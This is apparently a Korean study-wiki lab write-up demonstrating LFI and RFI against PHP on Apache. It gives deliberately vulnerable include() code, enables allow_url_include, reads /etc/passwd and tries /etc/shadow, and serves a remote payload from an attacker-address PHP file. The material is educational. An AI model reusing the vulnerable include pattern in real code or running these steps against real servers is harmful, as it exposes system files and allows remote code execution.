# 취약점 시연

해당 서비스의 취약점들을 시연합니다.

# LFI / RFI 취약점 시연

<p class="callout info">설명</p>

**php와 apache2를 사용하여 LFI / RFI 취약점을 시연한다.**

**LFI = Local File Inclusion**

**RFI = Remote File Inclusion**

<p class="callout info">LFI 시연 환경</p>

**Ubuntu - 24.04.3**

**PHP - 8.3.6**

**Apache - 2.4.58**

**IP - 172.30.1.68 \[웹 서버\]**

<p class="callout warning">LFI 취약한 코드</p>

**진입할 파일 명 - lfiPhp.php**

```php
<?php
// RFI 취약점이 있는 코드 (교육용)
if (isset($_GET['page'])) {
    $file = $_GET['page'];
    // 사용자 입력을 검증하지 않고 바로 include
    include($file);
} else {
    echo "페이지가 지정되지 않았습니다.";
}
?>
```

**첨부할 파일 명 - test.php**

**\*첨부할 파일은 웹서버 안에 존재한다.**

**\* 파일이 실행될 경우 소스코드가 그대로 드러나는 것이 아닌 "php run test 7" 이라는 값만 출력될 것**

```php
<?php
$number1 = 3;
$number2 = 4;
$sum = $number1 + $number2;
echo "php run test $sum";
?>
```

<p class="callout warning">LFI 취약점 시연</p>

**1. 위의 취약점 파일 코드를 작성 후 진입**

**\* 참조된 파일이 없으므로 페이지가 지정되지 않았다고 출력**

[![image.png](https://www.ochidstudy.com/uploads/images/gallery/2025-09/scaled-1680-/sI9tTScX287y2VaN-image.png)](https://www.ochidstudy.com/uploads/images/gallery/2025-09/sI9tTScX287y2VaN-image.png)

**2. page 파라미터를 통해 test.php 파일을 요청에 포함해 전송할 경우 php 코드가 실행되어 출력됨을 확인**

[![image.png](https://www.ochidstudy.com/uploads/images/gallery/2025-09/scaled-1680-/Wwf8tXvpDvJQyJmh-image.png)](https://www.ochidstudy.com/uploads/images/gallery/2025-09/Wwf8tXvpDvJQyJmh-image.png)

**3. /etc/passwd 파일또한 출력이 가능 (로컬에 있는 파일들을 포함하여 php 코드가 실행)**

[![image.png](https://www.ochidstudy.com/uploads/images/gallery/2025-09/scaled-1680-/NfN3LDvI2FlWqr6s-image.png)](https://www.ochidstudy.com/uploads/images/gallery/2025-09/NfN3LDvI2FlWqr6s-image.png)

**4. 권한에 없는 파일의 경우 그냥 공백 출력 (/etc/shadow)**

[![image.png](https://www.ochidstudy.com/uploads/images/gallery/2025-09/scaled-1680-/IybsoS9vqeyvWzaD-image.png)](https://www.ochidstudy.com/uploads/images/gallery/2025-09/IybsoS9vqeyvWzaD-image.png)

<p class="callout info">RFI 시연 환경</p>

**Ubuntu - 24.04.3**

**PHP - 8.3.6**

**Apache - 2.4.58**

**IP - 172.30.1.68 \[웹 서버\]**

**IP - 172.30.1.14 \[공격자\]**

**php 설정을 한가지 바꿔주어야 한다.**

**LFI 를 시연할 때 php.ini 파일의 allow\_url\_fopen 설정은 기본적으로 활성화가 되어있지만**

**RFI를 시연하기 위해서는 allow\_url\_include 부분을 Off 에서 On 으로 바꿔줘야한다.**

[![image.png](https://www.ochidstudy.com/uploads/images/gallery/2025-09/scaled-1680-/mAyJAtuXfKLj65fX-image.png)](https://www.ochidstudy.com/uploads/images/gallery/2025-09/mAyJAtuXfKLj65fX-image.png)

**\* 처음엔 /etc/php/8.3/cli/php.ini 파일을 수정했는데 제대로 시연이 안되었었다.**

**\*\* apache2를 통해 웹 서버를 띄워서 /etc/php/8.3/apache2/php.ini 경로의 php.ini 파일을 수정해줬더니 시연이 정상적으로 이뤄졌다.**

<p class="callout warning">RFI 취약한 코드</p>

**진입용 페이지 코드 \[웹 서버에 생성\]**

**파일 경로 : http://172.30.1.68/rfiPhp.php?page=**

```php
<?php
// RFI 취약점이 있는 코드 (교육용)
if (isset($_GET['page'])) {
    $file = $_GET['page'];
    // 사용자 입력을 검증하지 않고 바로 include
    include($file);
} else {
    echo "페이지가 지정되지 않았습니다.";
}
?>
```

**삽입용 페이지 코드 \[공격자 PC에 생성\]**

**파일 경로 : http://172.30.1.14:8080/html/RFI.php**

```php
<?php
echo "hello world";
?>
```

<p class="callout warning">RFI 취약점 시연</p>

**\*이전과 다르게 Local 상이 아닌 외부의 파일을 삽입하여 실행하도록 설정해볼 것이다.**

**01. LFI와 동일하게 별도 파일을 삽입하지 않을경우 출력되는 페이지**

[![image.png](https://www.ochidstudy.com/uploads/images/gallery/2025-09/scaled-1680-/GrsAg5Zw71DI6mg8-image.png)](https://www.ochidstudy.com/uploads/images/gallery/2025-09/GrsAg5Zw71DI6mg8-image.png)

**02. 외부 파일의 경로를 피해자의 파라미터에 첨부하여 전송**

**\*php 파일이 실행되어 hello world가 출력됨음 확인**

[![image.png](https://www.ochidstudy.com/uploads/images/gallery/2025-09/scaled-1680-/ZzH5tuWEEz87gch4-image.png)](https://www.ochidstudy.com/uploads/images/gallery/2025-09/ZzH5tuWEEz87gch4-image.png)

**03. RFI.php 파일을 /etc/passwd 파일을 출력하는 코드로 변경 후 다시 시도**

```php
<?php
// /etc/passwd 파일 읽기 (교육용, 로컬 테스트 환경에서만 사용)
$file = '/etc/passwd';
if (file_exists($file) && is_readable($file)) {
    $content = file_get_contents($file);
    echo "" . htmlspecialchars($content) . "";
} else {
    echo  "출력 실패.";
}
?>
```

[![image.png](https://www.ochidstudy.com/uploads/images/gallery/2025-09/scaled-1680-/Ys1ZU84dA8rCgQEt-image.png)](https://www.ochidstudy.com/uploads/images/gallery/2025-09/Ys1ZU84dA8rCgQEt-image.png)